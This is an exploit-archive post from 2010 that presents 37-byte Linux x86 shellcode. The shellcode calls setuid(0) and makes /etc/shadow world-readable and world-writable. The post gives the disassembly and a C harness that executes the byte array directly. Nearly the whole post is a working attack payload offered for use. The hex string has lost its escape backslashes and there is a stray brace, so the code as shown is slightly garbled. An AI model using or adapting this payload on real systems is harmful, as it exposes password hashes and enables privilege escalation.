linux/x86 setuid(0) + chmod("/etc/shadow", 0666) S
Posted on 03 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================================== linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 bytes =================================================================== /* * Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes * Type: Shellcode * Author: antrhacks * Platform: Linux X86 */ /* ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int $0x80 31 c0 xor %eax,%eax 50 push %eax 68 61 64 6f 77 push $0x776f6461 68 63 2f 73 68 push $0x68732f63 68 2f 2f 65 74 push $0x74652f2f 89 e3 mov %esp,%ebx 66 b9 b6 01 mov $0x1b6,%cx b0 0f mov $0xf,%al cd 80 int $0x80 40 inc %eax cd 80 int $0x80 */ int main(){ char shell[] = "x31xdbxb0x17xcdx80x31xc0x50" "x68x61x64x6fx77x68x63x2fx73x68" "x68x2fx2fx65x74x89xe3x66xb9xb6x01" "xb0x0fxcdx80x40xcdx80"; printf("[*] Taille du ShellCode = %d ", strlen(shell)); (*(void (*)()) shell)(); return 0; } } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
